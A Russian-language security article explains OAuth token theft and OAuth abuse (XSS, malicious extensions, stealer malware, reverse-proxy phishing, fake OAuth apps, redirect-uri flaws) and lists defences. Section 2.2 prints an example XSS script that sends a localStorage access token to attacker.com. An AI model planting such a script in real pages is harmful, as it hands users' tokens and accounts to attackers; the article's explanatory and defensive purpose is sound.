Token Theft и OAuth Abuse: современные атаки на авторизацию и методы защиты

В современном мире веб-приложений и облачных сервисов OAuth 2.0 является де-факто стандартом авторизации. Каждый день пользователи входят в множество сервисов через Google, Facebook, Microsoft, GitHub и другие провайдеры, не вводя пароли. Эта удобная модель легла в основу всего: мобильных приложений, браузерных сервисов, корпоративных систем, SSO (Single Sign-On), API и даже IoT.

Однако широкое распространение OAuth сделало его привлекательной целью для злоумышленников. Вместо того чтобы атаковать пароли, современные хакеры всё чаще используют методы, направленные на кражу токенов и злоупотребление доверенными механизмами авторизации. Такие угрозы объединяются под терминами Token Theft (кража токенов) и OAuth Abuse (злоупотребление системой OAuth).

Эта статья подробно описывает, как происходят подобные атаки, какие уязвимости используют злоумышленники, чем опасна неправильная реализация OAuth 2.0, а также какие меры можно предпринять для повышения безопасности систем авторизации.

1. Основы авторизации и роль токенов

OAuth 2.0 был разработан как протокол делегированной авторизации. Он позволяет одному сервису (клиенту) получить ограниченный доступ к данным пользователя на другом сервисе (ресурс-сервере) без передачи пароля.

В основе OAuth лежат токены — особые ключи доступа, заменяющие собой связку «логин-пароль» при обращении к API. Токены используются везде: от мобильных приложений до распределённых микросервисов.

1.1. Виды токенов

• Access Token — токен доступа. Используется для выполнения операций от имени пользователя.
• Refresh Token — токен обновления. Позволяет генерировать новые access-токены без участия пользователя.
• ID Token — токен аутентификации (OpenID Connect). Подтверждает личность пользователя.

Если злоумышленник получает access-token или refresh-token, он может полностью контролировать аккаунт — и это происходит без пароля и без MFA.

2. Token Theft: кража токенов и способы атак

Token Theft — это атака, при которой злоумышленник завладевает действительным токеном OAuth (или другой системой авторизации) с целью получить доступ к ресурсу. Это один из самых опасных типов атак, поскольку токены часто позволяют обойти MFA, пароли и все классические защитные механизмы.

2.1. Основные источники кражи токенов

Существуют десятки техник, позволяющих злоумышленнику украсть токены. Рассмотрим наиболее опасные и распространённые.

2.2. Похищение токенов через XSS

XSS остаётся одним из наиболее эффективных методов кражи токенов. Если сайт хранит токены в localStorage или sessionStorage, злоумышленник может выполнить JavaScript и отправить содержимое токенов на свой сервер.

Пример вредоносного кода:

<script>
fetch("https://attacker.com/steal?t=" + localStorage.getItem("access_token"));
</script>

Этот метод особенно опасен для SPA-приложений, активно использующих хранение токенов в браузере.

2.3. Кража токенов через вредоносные расширения

Расширения браузера обладают доступом к веб-страницам, токенам, cookie и запросам. Вредоносное или взломанное расширение может получить токены и отправить их злоумышленнику.

Это уже неоднократно происходило, например: случай с расширениями, крадущими токены Facebook, Google и GitHub.

2.4. Token Theft через malware

Современные stealers (Redline, Raccoon, Vidar, Lumma, MetaStealer) способны:

• красть cookie браузера;
• извлекать access-токены приложения Discord;
• вытаскивать refresh-токены Google Chrome;
• подменять браузеры и подгружать вредоносный код;
• красть токены, хранящиеся в файловой системе.

Одна из самых массовых атак 2023–2024 — кража Discord-токенов через вредоносные npm-пакеты.

2.5. Перехват токенов через прокси-фишинг

Атаки через reverse-proxy позволяют атакующему перехватывать токены в реальном времени, обходя MFA. Инструменты:

• Evilginx2
• Modlishka
• Muraena

Схема атаки:

1. Пользователь открывает фишинговую ссылку.
2. Вводит логин, пароль и MFA-код.
3. Реальная система выдаёт access-token.
4. Токен перехватывается злоумышленником.

После этого злоумышленник имеет полноценный доступ, часто на часы или дни.

2.6. Ошибки в реализации, ведущие к токен-фиксации

Если токен генерируется предсказуемым образом или сервер допускает reuse уже скомпрометированного токена, злоумышленник может заранее подготовить токен для жертвы.

Это напоминает session fixation, но на уровне OAuth.

2.7. Социальная инженерия

Часто злоумышленник заставляет пользователя «поделиться» токеном, например:

• через фальшивую форму разработчика API;
• через поддельное приложение OAuth;
• через phishing links с запросом access.

Если пользователь подтверждает разрешения злоумышленника — это уже OAuth Abuse.

3. OAuth Abuse: злоупотребление системой OAuth

OAuth Abuse — это техника злоумышленника, при которой он не крадёт токены напрямую, а использует легальные механизмы авторизации, чтобы получить доступ к данным жертвы.

Особенность атак заключается в том, что жертва сама подтверждает доступ злоумышленнику.

3.1. Поддельные OAuth-приложения

Злоумышленник регистрирует своё приложение у провайдера OAuth (Google, Microsoft, GitHub). Затем он заставляет жертву войти в своё приложение и предоставить разрешения на доступ.

Пример атаки:

• Злоумышленник маскирует приложение под «Google Drive Backup».
• Пользователь видит экран OAuth от Google и думает, что всё безопасно.
• Он разрешает доступ к файлам — и злоумышленник получает полный доступ.

Эта атака является одной из самых изощрённых форм фишинга, потому что жертва взаимодействует с реальными доменами Google.

3.2. Чрезмерные разрешения (over-scoping)

Приложение запрашивает слишком много прав, например:

• полный доступ к почтовому ящику;
• управление файлами;
• доступ к Google Cloud;
• чтение всех контактов;
• полный доступ к календарю.

Даже если пользователь доверяет приложению, оно может действовать злонамеренно.

3.3. Token Replay через злоупотребление refresh-токенами

Некоторые refresh-токены действуют месяцами или бессрочно. Это создаёт огромный риск: злоумышленник может не только получить доступ, но и постоянно обновлять access-токены.

Если refresh-token компрометирован — это фактически полный захват аккаунта.

3.4. Уязвимости в redirect-uri

Если сервер OAuth неправильно проверяет redirect-uri, злоумышленник может:

• подменить адрес возврата;
• перехватить токен через open redirect;
• отправить токен на свой домен;
• изменить параметры запроса и получить токен от имени жертвы.

Эта уязвимость часто встречается у начинающих разработчиков.

3.5. Authorization Code Injection

Атакующий подменяет authorization code в запросе и получает токен вместо жертвы.

3.6. PKCE-фейковые приложения

Даже защищённые OAuth-потоки могут быть взломаны, если приложение неправильно генерирует или хранит challenge и verifier.

4. Кейсы и реальные атаки

4.1. Кража GitHub OAuth токенов в результате атаки на npm

В 2022–2023 годах злоумышленники внедряли вредоносный код в пакеты npm, который крал токены разработчиков GitHub.

Результат:

• компрометация репозиториев;
• вредоносные коммиты;
• доступ к CI/CD секретам;
• выгрузка токенов GitHub Apps;

4.2. Кража токенов Google через вредоносный браузерный stealer

Stealer загружает файл Cookies и Local State из Google Chrome, расшифровывает ключ DPAPI и получает access-tokens Google. С их помощью злоумышленники заходили в аккаунты Gmail без пароля.

4.3. Атаки APT на Office365 через OAuth Abuse

Группы APT активно использовали фальшивые приложения «под видом корпоративных» для получения:

• почтовых переписок сотрудников;
• данных OneDrive;
• учётных записей администраторов;
• внутренних документов компании.

Жертвы сами нажимали «Разрешить доступ», не понимая опасности.

5. Как защититься от Token Theft

5.1. Технические меры безопасности

• Хранить токены только в httpOnly cookie, не использовать localStorage.
• Включать флаги безопасности cookie: HttpOnly, Secure, SameSite=Strict.
• Ограничивать срок жизни токенов (min TTL).
• Привязывать токены к устройству и IP.
• Обязательно использовать HTTPS.

5.2. Защита от XSS

• Content Security Policy (CSP).
• Запрет inline-скриптов.
• Экранирование всех пользовательских данных.

5.3. Защита от malware

• EDR/antivirus с поведенческим анализом.
• Мониторинг приложений, которые читают cookie-файлы.
• Защита браузеров (Chrome Enhanced Safe Browsing).

6. Как защититься от OAuth Abuse

6.1. Минимизируйте разрешения OAuth

Не запрашивайте полный доступ, если достаточно частичного. Чем меньше scope — тем меньше последствия утечки.

6.2. Строго проверяйте redirect-uri

• Белый список URL.
• Полное совпадение пути, домена и протокола.
• Блокировка поддоменов.

6.3. Используйте PKCE даже для конфиденциальных клиентов

PKCE защищает от перехвата authorization code.

6.4. Привязка токена к клиенту

Используйте:

• токены, привязанные к public key;
• DPoP (Demonstrating Proof of Possession);
• mTLS (Mutual TLS).

6.5. Мониторинг OAuth-активности

Отслеживайте:

• новые OAuth-приложения;
• избыточные разрешения;
• подозрительные операции с токенами;
• необычные IP и устройства.

7. Best Practices и рекомендации

Наиболее эффективные меры защиты:

• Использование аппаратных ключей FIDO2.
• Zero Trust архитектура.
• Регулярный аудит OAuth приложений.
• Минимальный срок жизни токенов + привязка к устройству.
• Блокировка refresh-токенов при малейшем подозрении.

8. Заключение

Token Theft и OAuth Abuse — одни из самых опасных современных угроз. Они позволяют злоумышленнику обходить пароли, MFA и традиционные механизмы защиты, используя слабости архитектуры, человеческий фактор и недостатки реализации OAuth.

Кража токенов становится массовой: вредоносные расширения, stealer-malware, фишинговые прокси, XSS — всё это используется ежедневно. Одновременно с этим злоумышленники все активнее применяют OAuth Abuse, создавая фальшивые приложения и получая доступ с помощью легальных инструментов.

Чтобы защититься, необходимо сочетать технические меры (CSP, PKCE, httpOnly cookie, привязка токенов), поведенческий мониторинг, регулярный аудит OAuth-приложений и Zero Trust подход.

Авторизация — это не только пароль. Это сложная экосистема, и защита токенов становится ключевым элементом кибербезопасности в эпоху облачных сервисов.